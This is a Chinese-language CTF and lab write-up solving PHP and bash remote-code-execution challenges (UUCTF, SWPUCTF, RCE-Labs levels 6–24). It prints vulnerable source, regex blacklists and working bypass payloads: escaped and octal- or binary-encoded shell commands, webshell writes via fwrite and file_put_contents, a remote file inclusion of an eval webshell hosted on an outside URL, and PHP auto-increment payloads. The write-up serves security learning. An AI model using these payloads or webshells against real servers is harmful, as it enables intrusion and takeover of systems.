实例一
[UUCTF 2022 新生赛]ez_rce
源码
居然都不输入参数,可恶!!!!!!!!!
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\\$|\\*|\\+|\\^|scan|\\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}
解一
使用``反引号,等价于exec("")
?code=print `whoami`;
//等效?code=print exec("whoami") ;
//等价于?code=print shell_exec("whoami");
//exec() 是一个PHP 命令执行函数,exec 只会返回最后一行
//shell_exec()= 命令执行函数
exec()和shell_exec() 必须配合 echo / print 才能输出
使用转义读取目录下文件,发现可疑文件
?code=print `l\\s /`;
//PHP / Linux 里,\\ 是转义符,它本身会被忽略,但不会影响命令执行!
但正则检测看不到\\被解析后的真实字符,就匹配不到关键字
读取可疑文件内容
?code=print `ta\\c fffffffffflagafag`;
//cat:正序读取文件内容
//tac:倒序读取文件内容
解二
//fwrite(fopen("shell.php", "w"), "<?php eval($_POST[1]);?>");
?code=fwrite(fopen(urldecode("%73%68%65%6c%6c%2e%70%68%70"),"w"),urldecode("%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e"));
?code=fwrite(fopen(urldecode("%2573%2568%2565%256c%256c%252e%2570%2568%2570"),"w"),urldecode("%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e"));
URL二次编码:PHP 自动解一层→保留 % xx 编码串,绕过正则;代码 urldecode 再解一层→得到真实内容
使用bp编码工具进行URL编码,其他编码也可使用,比较靠谱
使用hackbar进行部分URL二次编码
核心函数:fopen() 和 fwrite()
这两个是 PHP 的文件操作函数,它们的组合就是 “创建 / 打开文件 + 写入内容”。
① fopen(文件名, 模式)
-
作用:打开或创建一个文件,并返回文件句柄(类似一个文件的 “钥匙”)
-
第二个参数 "w" 表示写入模式:如果文件不存在则创建;如果存在则清空内容,从头写入。
② fwrite(文件句柄, 内容)
-
作用:把指定的 “内容” 写入到 fopen 打开的文件里。
所以,这段代码的逻辑是:
先通过 fopen 拿到文件的 “钥匙”
再通过 fwrite 把木马内容写进去
urldecode() 函数的作用是把这些URL编码还原成原始字符串
本地测试上传木马成功
题目环境进行木马写入
绕过成功
上传成功
可以直接利用,也可以使用蚁剑进行更加直观的管理
蚁剑

直接利用
看下禁用函数
由于拿到了webshell,不需要进行指令方面的绕过
之前绕的,是题目代码里的 preg_match 正则过滤,当你写入 webshell 后,这个过滤逻辑就不存在了:
-
你访问 shell.php 时,走的是你自己写的 eval($_POST['1'])
-
eval() 接收的是PHP 代码
1=print shell_exec("cat /fffffffflagafag");
实例二
[SWPUCTF 2021 新生赛]finalrce
无回显 RCE
源码
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\\-|\\*|\\"|\\>|\\<|\\%|\\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
执行命令 → 把结果写入文件 → 访问文件看内容
http://node7.anna.nssctf.cn:23912/?url=l's' / | tee
http://node7.anna.nssctf.cn:23912/?url=ca\\t /flllll\\aaaaaaggggggg |tee 2.txt

//加引号就能绕过
Linux 命令解析规则
在 Linux 里:
l's'
l"s"
l`s`
都会被自动合并成 ls
//|管道符:把左边命令的输出,交给右边命令处理
//tee 1.txt把内容保存到 1.txt,同时也在屏幕打印但因为网页不回显,所以我们只需要 “保存到文件” 这个功能
tee = 把命令输出的内容,保存到文件里
实例三
ez_rce
code=echo`env`;
RCE-Labs Level 专项训练
level 6
借鉴文章[Hello-CTF]RCE-Labs超详细WP-Level 6_rce-labs-level6-CSDN博客
源码
function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\\-\\+<>\\"|`;\\[\\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
可以利用的字符只有 数字, 小写a 和 ?,还有/
? 可以匹配任何一个单字符
-
那么就可以通过 /??a? 对应 /flag, 系统正常情况下根目录中符合这个要求是没有的, 所以就可以索引到 flag 这个文件
?作为通配符只在路径中有效
那我们要如何读取文件呢
-
cat虽说是命令, 但是其实也就是个程序
-
只需要找到其路径, 直接通过路径访问就可以了
/bin/cat /flag
/???/?a? /??a?
level 8
三个默认通道(命令有回显的根源)
所有 UNIX/Linux 命令运行时,默认绑定 3 个终端通道:
标准输入 (stdin,文件描述符 0):命令从这里读数据 → 默认是你的键盘 / 终端
标准输出 (stdout,文件描述符 1):命令正常输出 → 默认打印到终端屏幕
标准错误 (stderr,文件描述符 2):命令报错信息 → 默认也打印到终端屏幕
这就是你敲命令,结果 / 报错都会直接显示在屏幕上的原因。
如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:$ command > /dev/null/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。
但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。如果希望屏蔽 stdout 和 stderr,可以这样写:$ command > /dev/null 2>&1
command > /dev/null 2>&1
command:你要执行的命令
> /dev/null:先把标准输出 (stdout) 丢进黑洞
2>&1:核心!
2 = 标准错误 (stderr)
&1 = 引用标准输出的位置
整体意思:把错误输出,定向到和标准输出同一个地方
?cmd=cat /flag|tee 2.txt;> /dev/null 2>&1
; 是命令分隔符:前一条结束,新开一条
重定向 只能作用于它前面紧贴的那一条命令
你把重定向扔在 ; 后面,前面的 cat|tee 根本不受影响
可以通过;直接断绝重定向,无法将结果丢弃
level 9
源码及相关提示
在这个关卡主要利用的是在终端中,$'\\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\\xxx\\xxx\\xxx\\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\\154\\163\\40\\55\\154' 只能拆分为$'\\154\\163' 空格 $'\\55\\154'三部分。
bash-5.1# $'\\154\\163\\40\\55\\154'
bash: ls -l: command not found
bash-5.1# $'\\154\\163' $'\\55\\154'
total 4-rw-r–r– 1 www-data www-data 829 Aug 14 19:39 index.php
function hello_shell($cmd){
if(preg_match("/[A-Za-z\\"%*+,-.\\/:;=>?@[\\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
使用文本转八进制在线工具文本转八进制在线工具-将文本字符串转换为8进制编码,支持逗号,空格和反斜杠分隔符
?cmd=$'\\143\\141\\164' $'\\057\\146\\154\\141\\147'
?cmd=cat /flag
level10
考点:终端中支持 $((2#binary)) 解析二进制数据
终端里的 $((2#binary)),是Bash 终端自带的进制转换语法,不需要任何工具,直接在命令行里就能把二进制转十进制
二进制转十进制
$((2#01100001))
算出结果:97(ASCII 十进制编号)
十进制 ASCII 码 → 字符
方式一:printf 直接转
printf "\\\\$(printf %x 97)"
printf %x 97 :把十进制 97 转十六进制得到:61
\\x61
\\x 在终端里 = 这是一个十六进制 ASCII 码
printf "\\x61"直接输出:a
在 bash 里:要表示一个 \\ 反斜杠,必须写 \\ 两个,你写 两个 \\\\ → bash 才会保留一个 \\ 下来
方式二:python 一行秒转(但是在rce环境里并不能使用python环境下的函数)
chr(97)
以上是相关知识的补充,但是感觉使用以上内容直接进行构造的话,还是会被拦,继续看源码,发现好像还是不会,先放着
<?php
function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\\"%*+,-.\\/:;=>?@[\\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
只有0, 1, '(单引号), $, <, \\ , ( , )可以用
借鉴学习了其他师傅的文章
[Hello-CTF]RCE-Labs超详细WP-Level10(无字母命令执行_二进制整数替换)_rce-labs-level10-CSDN博客
以下是相关知识的补充和payload的构造过程
解一
$((…))
在 bash 中 $((…)) 是 算术扩展(Arithmetic Expansion) 的语法
echo $((3 + 5)) # 输出 8
echo $((10 / 2)) # 输出 5
a=10
b=5
echo $((a + b)) # 输出 15
而 2#binary 是 进制表示法(Base Notation), 表示把后面的二进制串, 转化为十进制
同理 # 前面的 2 也可以是 8, 16, 36, 如下
echo $((8#72)) # 输出 58
echo $((16#1A)) # 输出 26
echo $((36#Z)) # 输出 35
$((2#binary))中存在数字2,会被waf拦,现在可用的数字有0,1,可以通过1进行左移位运算得到2
$((1<<1)) 等效为2
#在 $((1 << 1)) 里:1 本身就是十进制数字 1
#<< 是位运算(二进制层面操作)
#计算机存所有数字,底层本来就是二进制
$(($((1<<1))#binary)) 套入到八进制转义中, 这里拿 ls 举例
ls 转为八进制 -> \\154\\163
使用八进制转义 -> $'\\154\\163'
使用二进制替换 154 和 163, 这两个数现在当做十进制
154 -> $((2#10011010)) -> $(($((1<<1))#10011010))
163 -> $((2#10100011)) -> $(($((1<<1))#10100011))
于是 $'\\154\\163' -> $'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))'
但是使用 $'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))' 作为 Payload 时, 似乎并不能执行结果
$'…'→ ANSI-C 转义字符串,能识别 \\154 这种八进制(即允许使用\\进行转义),转成字符→ 属于 参数扩展
$(…) / `…`→ 命令替换→ 执行命令,把输出拿回来
解析顺序
参数扩展 > 算术扩展 > 命令替换
我们希望的执行顺序:
先算 $((…)) → 得到 154 / 163
再把 \\154\\163 丢进 $'…' 转成 ls
但 Shell 真实执行顺序:
先执行 $'…'
里面的 $((…)) 还没算
$'…' 把 $((…)) 当成普通字符串,不解析!
强制改变解析顺序使用 Here String 三重解析:<<<
bash 中的特殊变量:
${0} 含义:当前脚本或 shell 的名字
$0 = 当前脚本 或 当前 shell 的名字
${0} = 同上,只是花括号写法(更稳定、绕过更强)
Here String 是 Bash 中的一种重定向方式,用于将字符串作为标准输入传递给命令。
语法:
命令 <<< "字符串"
把右边的字符串,当作输入,传给左边的命令执行
等价于:echo "字符串" | 命令
尝试把 $'…' 再传入 $0 前, 保持原样
这里想到了把 ' 进行转义, 即 $\\'…\\'
Payload有了如下修改 $0<<<$\\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\\'
\\ 与 $ 被作为一体了, 即 $ 不在是一个有特殊作用的字符, 而是被转义为纯字符 $, 也就不会作用于后面的 (())
而 (()) 在bash中被检测为语法错误
而为了解决这个问题, 只需要把 \\ 进行转义, 使其成为 \\字符, 而不是转义符, 即 \\ 替换为 \\\\,$ 可以正常起到$((…))算术扩展的作用
最后得到如下 Payload: $0<<<$\\'\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10100011))\\'
解二
使用对应工具构造符合同样解题原理的payload
在线网址BashFuck Payload Generator
直接把 Payload 复制到浏然器中进行 GET 请求, 并不能出flag
1 这是因为 # 在URL中是特殊字符(# 以及后面的 #flag 被浏览器视为客户端锚点,仅用于在浏览器内部定位页面位置,不会出现在 HTTP 请求中), 如果要把 # 通过 GET 请求传输, 需要进行URL编码
2 即 # -> %23
Payload 如下
?cmd=$0<<<$0\\<\\<\\<\\$\\'\\\\$(($((1<<1))%2310001111))\\\\$(($((1<<1))%2310001101))\\\\$(($((1<<1))%2310100100))\\\\$(($((1<<1))%23101000))\\\\$(($((1<<1))%23111001))\\\\$(($((1<<1))%2310010010))\\\\$(($((1<<1))%2310011010))\\\\$(($((1<<1))%2310001101))\\\\$(($((1<<1))%2310010011))\\'
level 11
原理与实例七大概一致,注意一个点:${##} 来替换 1
${##}
$#:Shell 内置特殊变量,代表当前脚本 / 函数的位置参数个数
${var##pattern}
参数扩展语法:从变量 var 开头删掉最长匹配 pattern 的字符串。
规则:必须有变量名 + ## + 匹配模式。
在 Bash 中,${##} 等价于直接取值 $#,是Bash 专门的语法糖
让豆包编写脚本后进行一键替换(# -> %23)

level 12
${#} = 当前脚本的参数个数
没有传参时 → 值 = 0
${##} = 写法变体,不是新变量
等价于 ${#} → 值仍然 = 0
${!#}<<<${!#}\\<\\<\\<\\$\\'\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\\\\$(($((${##}<<${##}))#${##}${##}${#}${#}))\\'
level 13
$(()) + 取反 构造任意数字
echo $(()) -> 0
echo $((~$(()))) -> -1
echo $(($((~$(())))$((~$(()))))) -> -2
Bash 空算术扩展 $(())
$(()) 是 Bash 的算术运算语法,如果括号里没有任何表达式,运算结果默认是 0:echo $(()) # 等价于 $((0)),输出 0
按位取反运算符 ~
~ 是二进制按位取反(所有位 0 变 1,1 变 0),在计算机中,数字以补码存储,按位取反的数学公式:
~x = – (x + 1)
构造payload:
__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\'\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))))))\\\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))))))\\'
尝试payload发现并不成功,传参的时候发现,&&会对结果有影响,url编码一下再传参
level 14
考点:7字符RCE
<?php
if(strlen($_GET[1]<8)){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
highlight_file(__FILE__);
?>
由于命令有长度限制,直接尝试以下命令即可通关
?1=cat /*
?1=cat /flag
由于阅读了这位师傅的文章,我尝试了另一种写法
>文件名 可以在当前目录下创建新文件
> filename 是 Shell 的重定向操作。执行时,Shell 会直接在当前工作目录创建空文件 filename;若文件已存在,则清空其内容。
命令执行结果>文件名 可以将命令执行结果输出到指定文件中
使用 * 按 ASCII 字典序展开,首个元素作命令,其余为参数。
ASCII 顺序:符号(如 -, .)< 数字(0-9)< 大写字母(A-Z)< 小写字母(a-z)
ls 不加任何参数时,一定和 * 展开顺序相同
首先我们使用?1=ls />d查看当前目录下的文件,并将结果输出到文件d中
在确认是否存在flag的同时,也将d文件创建在当前目录下,注意文件名要选择ASCII字典序中靠后的元素,为后续*展开和利用当前目录下的文件名做准备,保证使用的命令可以作为第一个文件的名称
然后使用?1=>cat创建空文件,后面可以考虑使用?1=ls>h验证当前目录下文件的排序,确保使用的命令成功排在第一位
再使用*,可以展开利用文件cat d h,/* 匹配 / + (根目录里所有直接文件/目录)因此可以使用
* /*>w
等效于cat d h /bin /boot /dev …>w
后续可以读取到在根目录下的所有文件内容,包含flag
如果中途因为操作失误,导致目录下文件排序不理想,可以使用超过7字符的命令,让目录重新恢复初始状态
level 17
考点:PHP命令执行函数
知识补充:
system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);
exec( 命令 , 存储结果的数组 )
print_r() 是 PHP 用来打印数组 / 对象的函数
shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');
passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');
popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
popen(命令, 模式)
打开进程管道,执行系统命令,返回资源类型句柄(文件流指针)
fread(资源, 读取字节数) fread 是 PHP 读取文件 / 数据流的函数
反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo `cat /etc/passwd`
源码分析
<?php
// 开启SESSION会话,用来保存随机选中的函数,刷新页面不重置
session_start();
// 定义核心功能函数:接收两个参数,拼接并执行代码
// $function:系统函数名或反引号 ``
// $content:用户输入的内容
function hello_ctf($function, $content){
// 判断:如果随机拿到的是执行运算符 反引号 ``
if($function == '``'){
// 把用户输入内容前后包上反引号,组成执行命令的语法 `内容`
$code = '`'.$content.'`';
// 在页面输出拼接好的代码字符串
echo "Your Code: $code <br>";
// eval把字符串当做PHP代码执行,echo输出反引号执行后的系统命令结果
eval("echo $code");
}else // 如果不是反引号,是system/exec这类函数
{
// 拼接成标准PHP函数调用格式:函数名(用户输入);
$code = $function . "(" . $content . ");";
// 在页面输出拼接好的代码
echo "Your Code: $code <br>";
// eval直接执行拼接好的函数调用代码
eval($code);
}
}
// 定义函数:随机从危险列表里选一个执行函数,并存到SESSION
function get_fun(){
// 定义高危函数列表:全部可以执行系统命令,最后一个是反引号运算符
$func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];
// 如果SESSION里还没有保存随机函数(第一次访问)
if (!isset($_SESSION['random_func'])) {
// 从数组中随机选一个,存入SESSION做持久保存
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
// 从SESSION中取出已经选中的随机函数
$random_func = $_SESSION['random_func'];
// 把函数名中的下划线_替换成横杠-,用于拼接官方手册网址
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
// 三元运算:判断是反引号就输出对应提示,否则输出函数名和手册链接
echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
// 返回SESSION中保存的随机函数,供外部调用
return $_SESSION['random_func'];
}
// 入口控制函数:接收传入的动作参数$act,做不同逻辑处理
function start($act){
// 调用get_fun,获取随机分配的危险函数
$random_func = get_fun();
// 如果传入动作是 r ,代表重置函数
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
// 清空SESSION变量
session_unset();
// 销毁当前会话,下次访问会重新随机选函数
session_destroy();
}
// 如果传入动作是 submit ,代表提交用户输入并执行
if ($act == "submit"){
// 获取POST方式提交的content参数,也就是用户可控输入
$user_content = $_POST['content'];
// 调用核心执行函数,传入随机函数和用户输入
hello_ctf($random_func, $user_content);
}
}
// 判断URL中是否有GET参数action,有就调用start函数处理,没有就啥也不做
isset($_GET['action']) ? start($_GET['action']) : '';
// 在网页高亮显示当前整个PHP文件的源码,方便审计漏洞
highlight_file(__FILE__);
?>
操作
获取随机函数
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
使用POST传content–>要执行的命令
函数是exec,由于其结果无法直接输出,需要配合print_r使用
由于拼接方式如下
$code = $function . "(" . $content . ");";
content="cat /flag",$result);print_r($result);//
使用//注释掉末尾的);,使其可以正常拼接其他命令
以下是其他函数的通关方式
所有函数的通杀方式(目前popen函数只有这种解法)
content=);system('cat /flag'
闭合原来的函数,直接使用其他可用并且结果直接回显的函数执行命令
反引号使用如下方式
content=`; system('ls /');//
content=cat /flag|tee a
content=cat /flag>a
注意:content='cat /flag|tee a'的本质是tee将前一条命令执行结果复制一份后进行保存,如果说拼接的函数本身执行命令时执行结果无法直接显示在屏幕上,那么最后的执行效果自然就不会有,但是访问保存文件都是可以读取到flag的;而cat /flag>a是直接将结果重定向到a文件中的,只能通过访问a文件得到
system()/passthru()
content='cat /flag>a'
content='cat /flag|tee a' 可以直接回显至屏幕上,也能访问a文件后进行相关内容的读取
content="cat /flag"
shell_exec()/exec()
content='cat /flag>a'
content='cat /flag|tee a' 不能在屏幕上得到回显,但是可以访问a文件进行查看
level 19
源码分析
<?php
function helloctf($code){
$code = "file_put_contents(".$code.");";
eval($code);
}
isset($_GET['c']) ? helloctf($_GET['c']) : '';
highlight_file(__FILE__);
?>
file_put_contents(文件名, 内容);
作用:往文件里写内容
解一
URL编码的原因
1.浏览器自带特殊字符截断规则
浏览器地址栏有保留特殊符号,遇到直接截断,终止参数:
& ? = # < > ' " % + 空格
2.后端服务器会解析地址栏特殊字符
PHP、Java、Python 后端默认会解析:
# 直接代表锚点,# 后面所有内容直接丢弃不传后台
& 代表新参数,把一句话拆成多个参数
空格自动截断
为什么用 $POST [a] 不用 $POST ['a'] 也能成功?
当 PHP 看到
$_POST[a]
先找 常量 a,找不到常量 a
PHP 会自动容错,把 a 当成 字符串 'a'
最终效果 = $_POST['a']
$_POST [a] (非标准写法)
会产生一个 Notice 级错误,但 @ 抑制符会把错误吃掉,不影响功能,能绕过极个别简单过滤
利用file_put_contents()写入木马 <?php @eval($_POST[a]); ?>
由于担心直接解析成网址功能符,破坏命令的写入,对木马进行URL编码
?c='1.php','%3C%3Fphp%20%40eval(%24_POST%5Ba%5D)%3B%20%3F%3E'
更标准的写法,防止第三个单引号和第四个单引号组一队,提前闭合,导致单引号闭合错误,后续用双引号,且将所有特殊字符全部进行URL编码
单引号 ' '不解析变量
'$_POST' → 原样输出 $_POST
双引号 " "会解析 $ 开头的变量
"$_POST" → 会被当成变量执行
必须加 \\ 转义:\\$_POST
file_put_contents('1.php',"<?php @eval(\\$_POST['a']);?>");
?c=%271.php%27%2C%22%3C%3Fphp%20%40eval(%5C%24_POST%5B%27a%27%5D)%3B%3F%3E%22
访问1.php发现解析成功,接下来可以使用蚁剑连接或者直接进行传参
蚁剑连接
在根目录下获取flag
NSSCTF{9b5c63d0-4a5d-4005-ae85-b1f9aac5cea1}
直接传参
或者可以查找下路径 a=system('ls /*/*');,看那些路径可以加以利用
a=system("/bin/sh -c 'cat /flag'");
解二
直接闭合后执行新的命令
?c=);system('cat /flag');//
level 20
基础的文件上传流程,直接上传1.php,使用蚁剑连接,即可拿flag,直接传参好像用不了
level 21
源码
<?php
function helloctf($code){
$code = "include(".$code.");";
echo "Your includeCode : ".$code;
eval($code);
}
isset($_POST['c']) ? helloctf($_POST['c']) : '';
highlight_file(__FILE__);
?>
直接包含文件
c="/flag"
include()函数会将目标文件的内容作为 PHP 代码解析并执行。当目标文件是纯文本(如/flag)时,其内容会被直接输出
php伪协议
c='php://filter/read=convert.base64-encode/resource=/flag'
拼接闭合
c='1.php');system('ls /'
远程文件包含
allow_url_fopen = On
允许通过 URL(如 http:// 或 https://)读取远程文件
allow_url_include = On
允许通过 include() 执行远程 PHP 文件的代码
题目给的链接显示木马内容
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI
<?php @eval($_POST['a']); ?>
可以利用远程文件包含,调用木马
c="https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI"&a=readfile('/flag');
readfile() = PHP 读取文件函数
作用:直接读取文件内容,并输出到页面上
c="https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI"&a=system('cat /flag');
level 22
PHP 支持在运行时动态构建并且调用函数,在下面的代码中 a可以被作为函数,b可以被作为函数的参数。
try ?a=system&b=ls
源码
<?php
isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;
highlight_file(__FILE__);
?>
?a=system&b=cat /flag
level 23
提示
PHP 特性 – 自增
自增通过一下几个特性实现:
变量:
在PHP中变量以 $ 开头,后面为变量名称,PHP中变量可以是下划线 _ 开头,所以 $_ 是一个变量,$__ 则是不同的变量,就像 $a 和 $aa 一样。
数组->字符串:
在PHP中,非字符串是不能使用 . 符号进行拼接的,当你强制拼接时 PHP 会将非字符串转换为字符串:
$_ = 1; var_dump($_); var_dump($_.'');
这将会输出:int(1) string(1) "1"
但如果 $_ 是一个数组,则会被强制转换为字符串 Array 而无视数组内容
所以 [].'' 表示在空数组后面拼接空字符串,PHP会优先转换类型,从而将数组转换为字符串 Array
var_dump () 输出字符串时,固定用双引号包裹展示
字符串:
字符串本质上是一个字符的有序序列,同C语言类似,你可以直接通过索引(或者说下标)的方式直接访问字符串中的字符。
$_ = "Hello-CTF";var_dump($_[0]);
这将会输出 string(1) "H"
所以在 $_ = ([].'')[0]; var_dump($_); 你会得到输出:string(1) "A"
自增:
这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $_++ 或者 ++$_。
当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。直观一点 A++ 将会输出 B,Z++ 将会输出 AA。++的位置决定语句的执行顺序,++在前面时会先进行自增操作。 $_ = ([].'')[0]; 在前面时输出B,后面时输出A。
所以通过特性的连用,你可以看到很多自增的Payload长这样:
payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]);
&__=system
&_=ls
自增题目的考点通常在Payload的长度限制
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
isset($_POST['code']) ? $code = $_POST['code'] : $code = null;
if(preg_match("/[a-zA-Z0-9@#%^&*:{}\\-<\\?>\\"|`~\\\\\\\\]/", $code)){
die("WAF!");
}else{
echo "Your Payload's Length : ".strlen($code)."<br>";
eval($code);
}
?>
可用字符:! $ ' ( ) + , . / ; = [ ] _
++$var(前置自增):先把变量 +1,再把「新值」传给 echo。
$var++(后置自增):先把「当前值」传给 echo,再把变量 +1
可以尝试利用自增性质构造以下语句
assert( $_POST[_] );
$_POST[_] 等价于 $_POST['_']
assert()
php中的代码执行函数
作用:
把括号里的内容,当作 PHP 代码 执行
但是目前水平不够,使用作者大大直接给的payload进行传参利用
payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]);
payload分析参考这位师傅RCE-labs 靶场通关_rce-labs靶场-CSDN博客
将payload前半部分进行URL编码(目前不知道什么原因),后半部分进行传参
code=%24_%3D(_%2F_._)%5B''%3D%3D'_'%5D%3B%24_%2B%2B%3B%24__%20%3D%20%24_%2B%2B%3B%24__%20%3D%20%24_.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%20%3D%20%24__.%24_%2B%2B.%24_%2B%2B%3B%24_%20%3D%20%24__%3B%24__%20%3D'_'%3B%24__.%3D%24_%3B%24%24__%5B__%5D(%24%24__%5B_%5D)%3B&__=system&_=cat /flag
level 24
参考文章
RCE篇之无参数rce – 学安全的小白 – 博客园
https://a1andns.github.io/post/%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE
提示
根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。
无参命令执行的难度首先是在于无参本身,这需要你利用一些函数特性外带参数绕过限制 —— 这可以从一些获取外部值的函数实现:
getallheaders()
session_id()
…
其次是对嵌套参数的处理 —— 当然不局限于外带进来的参数,一些诸如 localeconv() 的函数可以获取内部存在的一些参数如当前目录下面的文件信息等:
getchwd() :函数返回当前工作目录。
